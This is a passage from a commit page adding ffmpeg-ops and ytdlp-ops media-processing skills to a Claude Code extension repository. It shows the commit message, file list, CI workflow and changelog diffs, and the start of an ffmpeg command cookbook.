Browse Source

feat: Media stack - ffmpeg-ops + ytdlp-ops skills, repo-integrity layers

Consolidated land of the media-processing stack (squashed from the
granular local branch; see backup/pre-craft-squash):

ffmpeg-ops (new skill, 11 scripts / 19 references / 3 assets /
107-assertion suite): probe-first doctrine with --doctor triage
(hazard -> exact fix command), ~30-command cookbook + footgun table,
EDL-driven editing (edit-as-code; dry-run cut-from-edl), STT/Whisper
prep + transcript contract, silence/scene segmentation, VMAF/SSIM
gates, two-pass loudnorm, chapter authoring, target-size compression,
scrub-preview sprites, hw-encoder proof-encoding, error decoder, and
the grading wing: ~40-look validated recipe catalog, 18-variant
mono/duo/tritone tone maps, 32 parametric LUTs, Hald-CLUT extraction,
scope-matching doctrine (chroma fingerprint global, key per
scene-type) with a real-footage worked extraction, skin-tone equity
caveat verified on the Kodak portraits. Section-7 staleness verifier
wired into PR CI + freshness.

ytdlp-ops (new skill): the acquisition layer - format-selection
doctrine, clip-at-download, archive syncs, cookies/auth, failure
triage, version/extractor staleness verifier in CI + freshness.

supply-chain-defense: repo-integrity + post-install layers, network
IOC updates, Gateway-exfil reference retired. cloudflare-ops
cross-link refresh. ffmpeg-ops fixes from real-media E2E (drive-colon
filter traps, rotation side-data, SIGPIPE-proof suite assertions).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
0xDarkMatter 2 weeks ago
parent
commit
1a721beea8
67 changed files with 9083 additions and 20 deletions
  1. 23 0
      .github/workflows/freshness.yml
  2. 1 1
      AGENTS.md
  3. 64 0
      CHANGELOG.md
  4. 5 3
      README.md
  5. 1 1
      docs/PLAN.md
  6. 511 0
      skills/ffmpeg-ops/SKILL.md
  7. 79 0
      skills/ffmpeg-ops/assets/edl-schema.json
  8. 86 0
      skills/ffmpeg-ops/assets/encoding-presets.json
  9. 20 0
      skills/ffmpeg-ops/assets/hls-ladder.json
  10. 84 0
      skills/ffmpeg-ops/references/analysis-validation.md
  11. 91 0
      skills/ffmpeg-ops/references/audio.md
  12. 68 0
      skills/ffmpeg-ops/references/capture-devices.md
  13. 97 0
      skills/ffmpeg-ops/references/color-grading.md
  14. 78 0
      skills/ffmpeg-ops/references/color-hdr.md
  15. 90 0
      skills/ffmpeg-ops/references/edit-as-code.md
  16. 102 0
      skills/ffmpeg-ops/references/encoding.md
  17. 70 0
      skills/ffmpeg-ops/references/error-decoder.md
  18. 85 0
      skills/ffmpeg-ops/references/filtergraph.md
  19. 84 0
      skills/ffmpeg-ops/references/hardware-accel.md
  20. 94 0
      skills/ffmpeg-ops/references/images-gif.md
  21. 382 0
      skills/ffmpeg-ops/references/look-recipes.md
  22. 73 0
      skills/ffmpeg-ops/references/quality-metrics.md
  23. 72 0
      skills/ffmpeg-ops/references/restoration.md
  24. 74 0
      skills/ffmpeg-ops/references/streaming-hls.md
  25. 100 0
      skills/ffmpeg-ops/references/stt-whisper.md
  26. 69 0
      skills/ffmpeg-ops/references/subtitles.md
  27. 95 0
      skills/ffmpeg-ops/references/trim-concat.md
  28. 75 0
      skills/ffmpeg-ops/references/visualization.md
  29. 144 0
      skills/ffmpeg-ops/scripts/capability-scan.sh
  30. 261 0
      skills/ffmpeg-ops/scripts/cut-from-edl.py
  31. 190 0
      skills/ffmpeg-ops/scripts/detect-segments.py
  32. 317 0
      skills/ffmpeg-ops/scripts/gen-luts.py
  33. 128 0
      skills/ffmpeg-ops/scripts/loudnorm-scan.py
  34. 269 0
      skills/ffmpeg-ops/scripts/make-chapters.py
  35. 159 0
      skills/ffmpeg-ops/scripts/make-sprites.py
  36. 340 0
      skills/ffmpeg-ops/scripts/probe-media.py
  37. 195 0
      skills/ffmpeg-ops/scripts/quality-compare.py
  38. 228 0
      skills/ffmpeg-ops/scripts/smart-compress.py
  39. 160 0
      skills/ffmpeg-ops/scripts/verify-commands.sh
  40. 248 0
      skills/ffmpeg-ops/tests/run.sh
  41. 3 3
      skills/summon/SKILL.md
  42. 133 5
      skills/supply-chain-defense/SKILL.md
  43. 61 0
      skills/supply-chain-defense/assets/network-ioc.json
  44. 107 0
      skills/supply-chain-defense/references/phone-home-monitoring.md
  45. 147 0
      skills/supply-chain-defense/references/postinstall-audit.md
  46. 305 0
      skills/supply-chain-defense/references/repo-integrity.md
  47. 73 0
      skills/supply-chain-defense/references/threat-model.md
  48. 378 0
      skills/supply-chain-defense/scripts/config-drift-check.py
  49. 13 4
      skills/supply-chain-defense/scripts/exposure-check.py
  50. 427 0
      skills/supply-chain-defense/scripts/phone-home-monitor.ps1
  51. 454 0
      skills/supply-chain-defense/scripts/postinstall-audit.py
  52. 141 0
      skills/supply-chain-defense/tests/run.sh
  53. 5 1
      skills/windows-ops/SKILL.md
  54. 2 2
      skills/windows-ops/references/remote-diagnostics.md
  55. 78 0
      skills/windows-ops/references/uac-attribution.md
  56. 337 0
      skills/ytdlp-ops/SKILL.md
  57. 39 0
      skills/ytdlp-ops/assets/format-presets.json
  58. 72 0
      skills/ytdlp-ops/references/auth-cookies.md
  59. 175 0
      skills/ytdlp-ops/references/failure-triage.md
  60. 101 0
      skills/ytdlp-ops/references/format-selection.md
  61. 86 0
      skills/ytdlp-ops/references/output-templates.md
  62. 97 0
      skills/ytdlp-ops/references/playlists-archives.md
  63. 68 0
      skills/ytdlp-ops/references/sponsorblock.md
  64. 80 0
      skills/ytdlp-ops/references/subtitles-metadata.md
  65. 258 0
      skills/ytdlp-ops/scripts/check-ytdlp-version.sh
  66. 118 0
      skills/ytdlp-ops/tests/run.sh
  67. 13 0
      tests/check-resources.sh

+ 23 - 0
.github/workflows/freshness.yml

@@ -38,6 +38,29 @@ jobs:
           if [ "$rc" -eq 7 ]; then echo "::warning::model-table live check unavailable (no key / unreachable) — skipped"; fi
           exit 0
 
+      - name: ffmpeg-ops docs vs an installed ffmpeg
+        run: |
+          set +e
+          sudo apt-get update -qq && sudo apt-get install -y -qq ffmpeg
+          bash skills/ffmpeg-ops/scripts/verify-commands.sh --live
+          rc=$?
+          if [ "$rc" -eq 10 ]; then echo "::error::ffmpeg-ops docs drifted from current ffmpeg (renamed/removed filter or option)"; exit 1; fi
+          if [ "$rc" -eq 7 ]; then echo "::warning::ffmpeg unavailable on runner — live check skipped"; fi
+          exit 0
+
+      - name: ytdlp-ops version age + extractor smoke test
+        env:
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+        run: |
+          set +e
+          # Runner constraint: GH-hosted images lack uv; locally prefer `uv tool install yt-dlp`.
+          python -m pip install --quiet yt-dlp
+          bash skills/ytdlp-ops/scripts/check-ytdlp-version.sh --live
+          rc=$?
+          if [ "$rc" -eq 10 ]; then echo "::error::ytdlp-ops: yt-dlp >60 days behind latest release or smoke extraction failed (extractor drift)"; exit 1; fi
+          if [ "$rc" -eq 7 ]; then echo "::warning::ytdlp-ops live check unavailable (network/API/yt-dlp) — skipped"; fi
+          exit 0
+
       - name: GitHub Action refs still resolve
         env:
           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

+ 1 - 1
AGENTS.md

@@ -5,7 +5,7 @@
 This is **claude-mods** - a collection of custom extensions for Claude Code:
 - **3 expert agents** for pure context-isolation/worker roles (git-agent, firecrawl-expert, project-organizer) - every domain-knowledge agent became an `-ops` skill (v3.0, skills-first)
 - **2 commands** for session management (/sync, /save)
-- **87 skills** for CLI tools, patterns, workflows, and development tasks (incl. `supply-chain-defense` for behavioural-first dependency security, `prompt-injection-defense` for instruction-integrity scanning, `net-ops` for network troubleshooting, `windows-ops` / `mac-ops` for workstation diagnostics)
+- **89 skills** for CLI tools, patterns, workflows, and development tasks (incl. `ffmpeg-ops` for probe-first media processing and EDL-driven editing, `supply-chain-defense` for behavioural-first dependency security, `prompt-injection-defense` for instruction-integrity scanning, `net-ops` for network troubleshooting, `windows-ops` / `mac-ops` for workstation diagnostics)
 - **13 output styles** for response personality (Vesper, Spartan, Mentor, Executive, Pair, Atlas, Coach, Harbour, Meridian, Noir, Roast, Sage, Scout)
 - **11 hooks** for pre-commit linting, post-edit formatting, dangerous command warnings, uv enforcement, dependency-install + manifest-edit supply-chain advisories, hidden-Unicode scanning (session-start + pre-commit), live config-change + worktree guards, and pmail notifications - security set auto-wired via plugin hooks.json
 - **Pigeon** inter-session messaging (`pigeon send/read/reply`) - SQLite-backed pmail at `~/.claude/pmail.db`

+ 64 - 0
CHANGELOG.md

@@ -7,6 +7,70 @@ feature releases live in the README "Recent Updates" section.
 
 ## [Unreleased]
 
+### Added
+- **`ytdlp-ops` skill** - yt-dlp as the media ACQUISITION layer feeding
+  ffmpeg-ops: format selection doctrine (`-S` sort over `-f` filters, codec
+  targeting that avoids post-download transcodes), `--download-sections`
+  clip-at-download, audio-only STT extraction (`-x --audio-format opus` =
+  stream copy), playlist + `--download-archive` incremental channel syncs
+  (`--break-on-existing --lazy-playlist` cron pattern), cookies/auth
+  (`--cookies-from-browser`, Chrome 127+ Windows caveat, ban avoidance),
+  rate limiting/politeness, SponsorBlock mark-vs-remove, output-template
+  conventions (`[%(id)s]`, byte-safe `.100B` truncation), subtitles-as-cheap-
+  transcripts, remux-vs-recode doctrine, livestream/premiere capture
+  (`--live-from-start`, `--wait-for-video`), batch dry-runs (`--print
+  filename`), a beyond-YouTube note, and a failure-triage ladder (the
+  nsig/403/429/geo classes incl. TLS-fingerprint blocks → `--impersonate`,
+  and the EJS class: missing formats from no JS runtime → deno default /
+  `--js-runtimes node` opt-in, surfaced by the verifier as a warning;
+  "outdated yt-dlp" is the diagnosis for most). Completes the acquire →
+  process chain with ffmpeg-ops. Ships a §7 staleness
+  verifier (`check-ytdlp-version.sh`: `--offline` structural in PR CI;
+  `--live` = installed version >60 days behind the latest GitHub release,
+  a documented core flag vanished from `yt-dlp --help`, or smoke-extraction
+  failure → exit 10, network unreachable → exit 7 advisory; wired into
+  `tests/check-resources.sh` + `freshness.yml`). 6 references, 1 date-stamped
+  preset asset, 28-assertion offline self-test (age logic exercised via test
+  seams - no network in tests).
+- **`ffmpeg-ops` skill** - probe-first ffmpeg/ffprobe operations: ~30-command
+  cookbook with footgun table (seek/keyframe semantics, `yuv420p`+`faststart`,
+  quoting, VFR), EDL-driven editing (edit-as-code: schema asset +
+  `cut-from-edl.py`, dry-run by default), `.cube` LUT grading with
+  human-picks-the-grade chooser (`gen-luts.py`), STT/Whisper prep + the
+  transcript-JSON contract, silence/scene segmentation (`detect-segments.py`),
+  VMAF/SSIM quality gates (`quality-compare.py`), two-pass loudnorm automation,
+  hw-encoder proof-encoding (`capability-scan.sh` - listed ≠ working), chapter
+  authoring from scene/silence detection (`make-chapters.py` - ffmetadata mux /
+  YouTube description / WebVTT), probe `--doctor` triage (each hazard - VFR,
+  HDR transfer, rotation, interlacing, non-yuv420p, moov-at-EOF - paired with
+  its exact fix command, exit 10), target-size compression
+  (`smart-compress.py` - computed two-pass bitrate, auto audio/downscale,
+  size-verified), scrub-preview sprites + WebVTT thumbnail track
+  (`make-sprites.py`), an error-decoder reference (cryptic message → cause →
+  fix), and a §7 staleness verifier (`verify-commands.sh`, wired into PR CI +
+  freshness). Color grading is a first-class wing: a ~40-recipe look catalog
+  (film stocks incl. CineStill halation as a verified composite, signature
+  movie grades, era/genre moods, Sin City `colorhold`) with per-look scope
+  checks and failure modes, an 18-variant mono/duo/tritone tone-map family
+  (chroma = stop distance from the grey axis), the Hald-CLUT
+  grade-anywhere→LUT workflow, a scope-matching ladder with its governing
+  rule (transfer the chroma fingerprint globally; match key per scene-type,
+  never the global mean) and a real-footage worked extraction (`grimdark`),
+  plus a skin-tone equity caveat verified on the Kodak test portraits.
+  `gen-luts.py` carries 32 parametric looks (channel-mix + 2/3-stop gradient
+  maps). 19 references, 3 assets, 107-assertion self-test with
+  lavfi-synthesized fixtures (no binary fixtures in repo).
+
+### Fixed
+- **`ffmpeg-ops/cut-from-edl.py`** (found by real-media E2E):
+  the output directory was created *after* ffmpeg opened the temp output, so
+  any `-o` into a not-yet-existing directory died with a cryptic
+  "Error opening output files"; and CLI `-o` resolved against the EDL's
+  directory instead of the CWD (`-o work/final.mp4` with the EDL in `work/`
+  silently meant `work/work/final.mp4`). `-o` is now CWD-relative (the EDL's
+  own `output` field stays EDL-relative per the schema), and the destination
+  dir is created before the concat runs.
+
 ## [3.0.0] - 2026-06-10
 
 ### Added (skill resource protocol)

+ 5 - 3
README.md

@@ -12,13 +12,13 @@
 
 > *A comprehensive extension toolkit that transforms Claude Code into a specialized development powerhouse.*
 
-**claude-mods** is a production-ready plugin that extends Claude Code with 87 specialized skills, 3 expert agents, 13 output styles, 11 hooks, and modern CLI tools designed for real-world development workflows. Whether you're debugging React hooks, optimizing PostgreSQL queries, or building production CLI applications, this toolkit equips Claude with the domain expertise and procedural knowledge to work at expert level across multiple technology stacks.
+**claude-mods** is a production-ready plugin that extends Claude Code with 89 specialized skills, 3 expert agents, 13 output styles, 11 hooks, and modern CLI tools designed for real-world development workflows. Whether you're debugging React hooks, optimizing PostgreSQL queries, or building production CLI applications, this toolkit equips Claude with the domain expertise and procedural knowledge to work at expert level across multiple technology stacks.
 
 Built on the [Agent Skills specification](https://agentskills.io/specification) (an open standard backed by Anthropic, Vercel, Google, Microsoft, and 40+ agent platforms), claude-mods fills critical gaps in Claude Code's capabilities: persistent session state that survives across machines, on-demand expert knowledge for specialized domains, token-efficient modern CLI tools (10-100x faster than traditional alternatives), and proven workflow patterns for TDD, code review, and feature development. The toolkit implements Anthropic's [recommended patterns for long-running agents](https://www.anthropic.com/engineering/effective-harnesses-for-long-running-agents), ensuring your development context never vanishes when sessions end.
 
 From Python async patterns to Rust ownership models, from AWS Fargate deployments to Craft CMS development - claude-mods provides the specialized knowledge and tools that transform Claude from a general-purpose assistant into a domain expert who understands your stack, remembers your workflow, and ships production code.
 
-**3 agents. 87 skills. 13 styles. 11 hooks. 7 rules. One install.**
+**3 agents. 89 skills. 13 styles. 11 hooks. 7 rules. One install.**
 
 ## Recent Updates
 
@@ -61,7 +61,7 @@ Claude Code is powerful out of the box, but it has gaps. This toolkit fills them
 
 - **Session continuity** — Tasks vanish when sessions end. We fix that with `/save` and `/sync`, implementing Anthropic's [recommended pattern](https://www.anthropic.com/engineering/effective-harnesses-for-long-running-agents) for long-running agents.
 
-- **Expert-level knowledge on demand** — 80 on-demand skills covering React, TypeScript, Python, Go, Rust, PostgreSQL, and more, plus 3 specialized agents reserved for genuine context-isolation/worker roles (git operations, web scraping, project reorganization). Skills-first: knowledge loads when relevant instead of living in heavyweight agent prompts.
+- **Expert-level knowledge on demand** — 89 on-demand skills covering React, TypeScript, Python, Go, Rust, PostgreSQL, and more, plus 3 specialized agents reserved for genuine context-isolation/worker roles (git operations, web scraping, project reorganization). Skills-first: knowledge loads when relevant instead of living in heavyweight agent prompts.
 
 - **Modern CLI tools** — Stop using `grep`, `find`, and `cat`. Our rules automatically prefer `ripgrep`, `fd`, `eza`, and `bat` — 10-100x faster and token-efficient.
 
@@ -250,6 +250,8 @@ See [skill-creator](skills/skill-creator/) for the complete guide.
 | [code-stats](skills/code-stats/) | Analyze codebase with tokei and difft |
 | [data-processing](skills/data-processing/) | Process JSON with jq, YAML/TOML with yq |
 | [markitdown](skills/markitdown/) | Convert PDF, Word, Excel, PowerPoint, images to markdown |
+| [ffmpeg-ops](skills/ffmpeg-ops/) | ffmpeg/ffprobe operations - probe-first cookbook (transcode, cut/concat, GIF, subtitles, HLS), --doctor triage with fix commands, EDL-driven editing, STT/Whisper prep, VMAF quality gates, chapter authoring, target-size compression, scrub-preview sprites, hw-encoder verification, and a full grading wing: ~40-look recipe catalog, 32 parametric LUTs (mono/duo/tritone tone maps), Hald-CLUT extraction, scope-matching doctrine. 11 protocol scripts, 19 references, 107-assertion suite |
+| [ytdlp-ops](skills/ytdlp-ops/) | yt-dlp acquisition layer feeding ffmpeg-ops - format selection that avoids transcodes (-S sort), clip-at-download sections, STT audio extraction, archive-driven channel syncs, cookies/auth, SponsorBlock, failure triage (nsig = outdated). Staleness verifier wired into CI + freshness |
 | [structural-search](skills/structural-search/) | Search code by AST structure with ast-grep |
 | [log-ops](skills/log-ops/) | Log analysis, JSONL processing, cross-log correlation, timeline reconstruction |
 | [leveldb-ops](skills/leveldb-ops/) | Read Chromium/Electron LevelDB stores (Local Storage, IndexedDB) - app-state forensics |

+ 1 - 1
docs/PLAN.md

@@ -16,7 +16,7 @@
 | Component | Count | Notes |
 |-----------|-------|-------|
 | Agents | 3 | Pure context-isolation/worker roles only: git-agent (background commits/PRs), firecrawl-expert (noisy scrapes), project-organizer (bulk restructure) |
-| Skills | 87 | Operational skills, CLI tools, workflows, diagnostics, security |
+| Skills | 89 | Operational skills, CLI tools, workflows, diagnostics, security |
 | Commands | 2 | Session management (sync, save) |
 | Rules | 7 | cli-tools, commit-style, naming-conventions, prompt-injection, skill-agent-updates, supply-chain, worktree-boundaries |
 | Output Styles | 13 | Vesper, Spartan, Mentor, Executive, Pair, Atlas, Coach, Harbour, Meridian, Noir, Roast, Sage, Scout |

+ 511 - 0
skills/ffmpeg-ops/SKILL.md

@@ -0,0 +1,511 @@
+---
+name: ffmpeg-ops
+description: "Comprehensive ffmpeg/ffprobe operations - probe-first media processing: transcode and compress (H.264/H.265/AV1/Opus), frame-accurate cut/trim/concat, EDL-driven editing, color grading and .cube LUTs, audio loudnorm and mixing, STT/Whisper audio prep, subtitles, GIF and thumbnails, HLS packaging, hardware encoding (NVENC/QSV/AMF/VideoToolbox), restoration, scene and silence detection, VMAF quality gates, screen capture, yt-dlp interop. Triggers on: ffmpeg, ffprobe, transcode, convert video, compress video, encode video, extract audio, trim video, cut video, concat videos, video to gif, thumbnail, contact sheet, burn subtitles, watermark, resize video, crop video, change fps, slow motion, timelapse, loudnorm, normalize audio, audio for whisper, transcription prep, scene detection, silence detection, remove silence, color grade, LUT, tonemap HDR, vmaf, nvenc, hardware encode, hls, remux, faststart, deinterlace, stabilize video, denoise video, screen record, EDL, keyframes."
+when_to_use: "Use for ANY ffmpeg/ffprobe invocation or media task - converting, cutting, grading, packaging, or preparing audio for STT - BEFORE hand-writing a command; the cookbook and scripts encode the footguns (seek accuracy, keyframe snapping, quoting, pix_fmt) that silently ruin output."
+license: MIT
+compatibility: "ffmpeg 5.0+ (6.0+ recommended). Scripts: bash + python3.10+. Optional per task: libvmaf, libass, libzimg, libvidstab."
+allowed-tools: "Read Write Edit Bash Glob Grep"
+metadata:
+  author: claude-mods
+  related-skills: color-ops, debug-ops
+---
+
+# ffmpeg Operations
+
+Operational expertise for ffmpeg/ffprobe: the ~30 commands that cover most real work,
+the footguns that silently ruin output, EDL-driven editing (edit-as-code), and eight
+scripts that replace the logic an agent would otherwise re-derive every task.
+
+## Doctrine: probe first
+
+**Never transcode, cut, or filter blind.** Every media task starts by probing the
+input — codec, duration, frame rate (constant or variable?), pixel format, rotation,
+stream layout. Half of all "ffmpeg did something weird" reports are a property of the
+*input* the command never checked.
+
+```bash
+python skills/ffmpeg-ops/scripts/probe-media.py input.mp4            # human summary
+python skills/ffmpeg-ops/scripts/probe-media.py --doctor input.mp4   # TRIAGE: hazards + exact fixes
+python skills/ffmpeg-ops/scripts/probe-media.py --json input.mp4 | jq '.data.streams'
+python skills/ffmpeg-ops/scripts/probe-media.py --keyframes-near 92.5 input.mp4
+```
+
+`--doctor` makes the doctrine self-enforcing: VFR, HDR transfer, rotation
+metadata, interlacing, non-yuv420p delivery, and moov-at-EOF each come back as a
+finding **with the exact fix command**, and exit 10 means "fix before processing".
+The `--keyframes-near` form answers "can I stream-copy a cut at 92.5s?" — it
+reports the nearest keyframes so you know whether a copy cut will snap (see
+Footguns). When a command fails with a cryptic message, decode it:
+[references/error-decoder.md](references/error-decoder.md).
+
+**Before recommending an encoder, verify the build has it.** Installed ffmpeg builds
+vary wildly (especially hardware encoders — *listed* ≠ *working*):
+
+```bash
+bash skills/ffmpeg-ops/scripts/capability-scan.sh           # full: proof-encodes each hw encoder
+bash skills/ffmpeg-ops/scripts/capability-scan.sh --quick   # list-only, no GPU touch
+```
+
+## Cookbook
+
+Commands are bash-form; they run unchanged in PowerShell except where the
+[Windows notes](#windows-notes) say otherwise. Replace `-y`/`-n` (overwrite/never)
+consciously — never leave an agent-run command interactive.
+
+### Convert and compress
+
+```bash
+# Web-compatible H.264 — THE default delivery encode. yuv420p + faststart are not
+# optional: without them Safari/QuickTime/old devices show black video, and the
+# moov atom sits at EOF so browsers can't start playback until fully downloaded.
+ffmpeg -i in.mov -c:v libx264 -crf 20 -preset slow -pix_fmt yuv420p \
+  -c:a aac -b:a 192k -movflags +faststart out.mp4
+
+# H.265/HEVC — ~40% smaller at same quality, slower encode, less universal playback.
+# -tag:v hvc1 is required for Apple players to recognize the stream.
+ffmpeg -i in.mp4 -c:v libx265 -crf 24 -preset slow -tag:v hvc1 \
+  -c:a copy -movflags +faststart out.mp4
+
+# AV1 via SVT-AV1 (libaom is 10-50x slower; only use it for research-grade encodes).
+# preset 0-13: lower = slower/better; 6 is the quality/speed sweet spot.
+ffmpeg -i in.mp4 -c:v libsvtav1 -crf 32 -preset 6 -c:a libopus -b:a 128k out.webm
+
+# Remux only — change container, zero quality loss, near-instant. Try this FIRST
+# when the ask is "make this .mkv play in X": often the codecs are fine.
+ffmpeg -i in.mkv -c copy -movflags +faststart out.mp4
+
+# Normalize a problem source (HEVC/VFR phone footage, Zoom/Loom exports) before ANY
+# downstream editing. VFR breaks cut math, concat sync, and Remotion/player seeking.
+ffmpeg -i in.mov -c:v libx264 -crf 18 -preset fast -pix_fmt yuv420p \
+  -fps_mode cfr -r 30 -c:a aac -b:a 192k normalized.mp4
+
+# Archival master — FFV1 lossless in MKV (the preservation standard).
+ffmpeg -i in.mp4 -c:v ffv1 -level 3 -g 1 -slicecrc 1 -c:a flac archive.mkv
+
+# "Make it fit in 25MB" — computed two-pass bitrate, auto audio/downscale, VERIFIED:
+python skills/ffmpeg-ops/scripts/smart-compress.py --target 25MB video.mp4
+```
+
+Codec choice, CRF/preset matrices, two-pass bitrate targeting, per-platform social
+targets: [references/encoding.md](references/encoding.md) +
+[assets/encoding-presets.json](assets/encoding-presets.json).
+
+### Cut and join
+
+```bash
+# Fast lossless trim (stream copy). -ss/-to BEFORE -i = input seek, absolute times.
+# CAVEAT: with -c copy the start snaps to the previous keyframe — can be seconds
+# early, or give frozen/black lead-in. Check first with probe-media.py --keyframes-near.
+ffmpeg -ss 00:01:30 -to 00:02:00 -i in.mp4 -c copy -avoid_negative_ts make_zero cut.mp4
+
+# Frame-accurate trim (re-encode). Input-side -ss IS frame-accurate when re-encoding
+# (ffmpeg decodes from the prior keyframe and discards) — fast AND exact. The old
+# "put -ss after -i for accuracy" advice costs a full decode from 0:00 for nothing.
+ffmpeg -ss 00:01:30 -to 00:02:00 -i in.mp4 -c:v libx264 -crf 18 -c:a aac cut.mp4
+
+# Join files with IDENTICAL codec/params — concat demuxer, no re-encode.
+printf "file '%s'\n" seg1.mp4 seg2.mp4 seg3.mp4 > concat.txt
+ffmpeg -f concat -safe 0 -i concat.txt -c copy joined.mp4
+
+# Join files with DIFFERENT codecs/sizes — concat filter, re-encodes.
+ffmpeg -i a.mp4 -i b.mov -filter_complex \
+  "[0:v][0:a][1:v][1:a]concat=n=2:v=1:a=1[v][a]" \
+  -map "[v]" -map "[a]" -c:v libx264 -crf 20 -c:a aac joined.mp4
+
+# Remove a middle segment (keep 0-60s and 120s-end): cut both keeps, then concat.
+# For multi-cut edits, write an EDL and use cut-from-edl.py instead (see EDL workflow).
+```
+
+`-ss` semantics in full, keyframe theory, concat ×3 (demuxer/filter/protocol),
+edit-decision-list editing: [references/trim-concat.md](references/trim-concat.md)
+and [references/edit-as-code.md](references/edit-as-code.md).
+
+### Resize, transform, retime
+
+```bash
+# Resize to width, keep aspect. ALWAYS -2 (not -1): yuv420p needs even dimensions.
+ffmpeg -i in.mp4 -vf "scale=1280:-2" -c:a copy out.mp4
+
+# Crop (w:h:x:y from top-left); cropdetect finds black bars for you:
+ffmpeg -i in.mp4 -vf cropdetect -frames:v 120 -f null - 2>&1 | rg crop=
+ffmpeg -i in.mp4 -vf "crop=1920:800:0:140" -c:a copy out.mp4
+
+# Vertical 9:16 from landscape — blurred-pad pattern (social standard):
+ffmpeg -i in.mp4 -filter_complex \
+  "[0:v]scale=1080:1920:force_original_aspect_ratio=increase,crop=1080:1920,boxblur=20[bg];
+   [0:v]scale=1080:-2[fg];[bg][fg]overlay=(W-w)/2:(H-h)/2" -c:a copy vertical.mp4
+
+# Rotate: fix metadata only (instant) vs bake pixels (re-encode).
+ffmpeg -display_rotation 90 -i in.mp4 -c copy out.mp4        # metadata flip (ffmpeg 6+)
+ffmpeg -i in.mp4 -vf "transpose=1" -c:a copy out.mp4         # transpose=1: 90° clockwise
+
+# Frame-rate change (drops/dups frames; for smooth slow-mo see minterpolate below)
+ffmpeg -i in.mp4 -vf "fps=30" -c:a copy out.mp4
+
+# 2x speed-up: video PTS halved + audio atempo (atempo accepts 0.5-100; chain
+# atempo=0.5,atempo=0.5 for 0.25x). -map ordering keeps streams paired.
+ffmpeg -i in.mp4 -filter_complex \
+  "[0:v]setpts=0.5*PTS[v];[0:a]atempo=2.0[a]" -map "[v]" -map "[a]" fast.mp4
+
+# Interpolated slow-mo (synthesizes in-between frames — slow but smooth):
+ffmpeg -i in.mp4 -vf "minterpolate=fps=60:mi_mode=mci:mc_mode=aobmc,setpts=2*PTS" -an slow.mp4
+
+# Timelapse from photos (and the reverse: video -> frames, under Images below)
+ffmpeg -framerate 24 -pattern_type glob -i 'photos/*.jpg' \
+  -c:v libx264 -crf 20 -pix_fmt yuv420p timelapse.mp4
+```
+
+Filtergraph syntax (labels, chains, split), speed ramps, full filter cookbook:
+[references/filtergraph.md](references/filtergraph.md).
+
+### Overlay, text, subtitles
+
+```bash
+# Watermark bottom-right with 24px margin (W/H = video, w/h = overlay dims):
+ffmpeg -i in.mp4 -i logo.png -filter_complex \
+  "overlay=W-w-24:H-h-24:format=auto" -c:a copy out.mp4
+
+# Burn a running timecode (note %{pts\:hms} — the colon must be escaped INSIDE
+# the drawtext argument; see Windows notes for fontfile paths):
+ffmpeg -i in.mp4 -vf \
+  "drawtext=text='%{pts\:hms}':fontsize=48:fontcolor=white:box=1:boxcolor=black@0.5:x=24:y=24" \
+  -c:a copy out.mp4
+
+# Burn-in subtitles (hard subs; needs libass). Pragmatic path rule: cd to the
+# subtitle's directory and use a bare relative filename — the filter's path
+# escaping is the single worst quoting trap in ffmpeg, especially on Windows.
+ffmpeg -i in.mp4 -vf "subtitles=subs.srt" -c:a copy burned.mp4
+
+# Soft subtitles (toggleable, instant — no re-encode):
+ffmpeg -i in.mp4 -i subs.srt -map 0 -map 1 -c copy -c:s mov_text soft.mp4   # mp4
+ffmpeg -i in.mkv -i subs.srt -map 0 -map 1 -c copy -c:s srt soft.mkv        # mkv
+```
+
+Styling (ASS force_style), extraction, format conversion, STT round-trip:
+[references/subtitles.md](references/subtitles.md).
+
+### Audio
+
+```bash
+# Extract audio without re-encoding (copy the stream as-is; pick the container
+# matching the codec — probe first: aac->.m4a, opus->.opus/.ogg, mp3->.mp3):
+ffmpeg -i in.mp4 -vn -c:a copy out.m4a
+
+# Extract + transcode to Opus (best codec per bit: voice 24-32k mono, music 96-128k):
+ffmpeg -i in.mp4 -vn -c:a libopus -b:a 128k out.opus
+
+# Replace a video's audio track (keep video untouched):
+ffmpeg -i video.mp4 -i music.m4a -map 0:v -map 1:a -c:v copy -c:a aac -shortest out.mp4
+
+# Mix two audio inputs (normalize=0 stops amix halving the volume of each input):
+ffmpeg -i voice.wav -i music.mp3 -filter_complex \
+  "[1:a]volume=0.25[m];[0:a][m]amix=inputs=2:duration=first:normalize=0[a]" \
+  -map "[a]" -c:a aac mixed.m4a
+
+# Loudness-normalize, one-pass (quick; DYNAMIC mode — fine for drafts).
+# Two-pass linear mode is measurably better: use loudnorm-scan.py (Scripts below).
+# loudnorm internally upsamples to 192kHz — the -ar 48000 puts it back.
+ffmpeg -i in.mp4 -af "loudnorm=I=-16:TP=-1.5:LRA=11" -ar 48000 -c:v copy out.mp4
+
+# Trim leading/trailing silence:
+ffmpeg -i in.wav -af \
+  "silenceremove=start_periods=1:start_threshold=-40dB:detection=peak,areverse,silenceremove=start_periods=1:start_threshold=-40dB:detection=peak,areverse" \
+  trimmed.wav
+```
+
+Targets: -14 LUFS streaming platforms, -16 podcasts, -23 EBU R128 broadcast.
+Channel mapping, multi-track, restoration filters:
+[references/audio.md](references/audio.md).
+
+### Speech-to-text prep (Whisper-family)
+
+```bash
+# THE canonical STT extraction — 16 kHz mono 16-bit PCM (what whisper.cpp /
+# faster-whisper actually resample to; doing it here is faster and deterministic):
+ffmpeg -i in.mp4 -vn -ac 1 -ar 16000 -c:a pcm_s16le stt.wav
+
+# Pipe raw PCM straight to whisper.cpp — no temp file:
+ffmpeg -v error -i in.mp4 -vn -ac 1 -ar 16000 -f s16le - | whisper-cli -m model.bin -f - 
+
+# Chunk long audio ON SILENCE BOUNDARIES (never mid-word) for parallel transcription:
+python skills/ffmpeg-ops/scripts/detect-segments.py --silence --json in.mp4 \
+  | jq '.data.speech[]'
+```
+
+Pre-STT cleanup (when `afftdn`/`highpass` help vs hurt accuracy), WhisperX word-level
+alignment (±50 ms), transcript JSON shape, the summarisation pipeline:
+[references/stt-whisper.md](references/stt-whisper.md).
+
+### Images, GIFs, frames
+
+```bash
+# Thumbnail at a timestamp (input-side -ss: instant even at 2h offsets):
+ffmpeg -ss 00:00:05 -i in.mp4 -frames:v 1 -q:v 2 thumb.jpg
+
+# Contact sheet: 1 frame every 10s, tiled 4x3 (visual summary / scrub preview):
